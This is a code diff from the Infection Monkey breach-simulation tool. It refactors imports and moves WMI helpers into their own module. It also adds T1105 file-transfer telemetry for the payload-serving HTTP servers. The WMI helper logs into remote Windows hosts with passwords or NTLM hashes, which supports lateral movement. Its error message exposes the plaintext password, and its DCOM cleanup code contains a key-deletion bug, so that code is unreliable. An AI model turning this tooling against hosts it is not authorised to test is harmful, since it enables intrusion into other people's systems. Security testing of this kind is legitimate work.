dce.bind(srvs.MSRPC_UUID_SRVS)
return dce

View File

@ -0,0 +1,150 @@
import logging
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class DceRpcException(Exception):
pass
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
(host, domain, username, password))
class WmiTools(object):
class WmiConnection(object):
def __init__(self):
self._dcom = None
self._iWbemServices = None
@property
def connected(self):
return self._dcom is not None
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
if not domain:
domain = host.ip_addr
dcom = DCOMConnection(host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
raise AccessDeniedException(host, username, password, domain)
raise
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
self._dcom = dcom
except:
dcom.disconnect()
raise
finally:
iWbemLevel1Login.RemRelease()
def close(self):
assert self.connected, "WmiConnection isn't connected"
self._iWbemServices.RemRelease()
self._iWbemServices = None
self._dcom.disconnect()
self._dcom = None
@staticmethod
def dcom_wrap(func):
def _wrapper(*args, **kwarg):
try:
return func(*args, **kwarg)
finally:
WmiTools.dcom_cleanup()
return _wrapper
@staticmethod
def dcom_cleanup():
for port_map in DCOMConnection.PORTMAPS.keys():
del DCOMConnection.PORTMAPS[port_map]
for oid_set in DCOMConnection.OID_SET.keys():
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
DCOMConnection.PORTMAPS = {}
if DCOMConnection.PINGTIMER:
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
return wmi_connection._iWbemServices.GetObject(object_name)[0]
@staticmethod
def list_object(wmi_connection, object_name, fields=None, where=None):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
if fields:
fields_query = ",".join(fields)
else:
fields_query = "*"
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
query = []
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = next_item.getProperties()
if not fields:
fields = record.keys()
query_record = {}
for key in fields:
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
raise
finally:
iEnumWbemClassObject.RemRelease()
return query

View File

@ -7,8 +7,8 @@
import socket
import time
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from logging import getLogger

View File

@ -5,7 +5,8 @@ from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING

View File

@ -8,7 +8,8 @@
from __future__ import print_function
from requests import post, exceptions
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading

View File

@ -14,11 +14,11 @@ from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from . import HostExploiter
LOG = getLogger(__name__)

View File

@ -6,8 +6,11 @@ import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
from infection_monkey.exploit.tools.helpers import get_target_monkey, \
get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from common.utils.exploit_enum import ExploitType

View File

@ -19,7 +19,7 @@ from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.tools import get_interface_to_target
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'itamar'

View File

@ -6,6 +6,9 @@ from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.tools.helpers import get_interface_to_target
LOG = logging.getLogger(__name__)
@ -81,7 +84,13 @@ class UsersPBA(PBA):
if not pba_file_contents or not pba_file_contents.content:
LOG.error("Island didn't respond with post breach file.")
T1105Telem(ScanStatus.SCANNED,
get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
filename).send()
return False
T1105Telem(ScanStatus.USED,
get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
filename).send()
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)

View File

@ -0,0 +1,22 @@
from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
class T1105Telem(AttackTelem):
def __init__(self, status, host, path):
"""
T1105 telemetry.
:param status: ScanStatus of technique
:param host: IP of machine which downloaded the file
:param path: Uploaded file's path
"""
super(T1105Telem, self).__init__('T1105', status)
self.path = path
self.host = host
def get_data(self):
data = super(T1105Telem, self).get_data()
data.update({
'path': self.path,
'host': self.host
})
return data

View File

@ -6,7 +6,6 @@ import threading
import urllib
from logging import getLogger
from urlparse import urlsplit
from threading import Lock
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
@ -165,11 +164,15 @@ class HTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
@ -212,11 +215,14 @@ class LockedHTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True

View File

@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.transport.base import get_last_serve_time
from infection_monkey.exploit.tools import get_interface_to_target
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'

View File

@ -8,7 +8,7 @@ import time
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python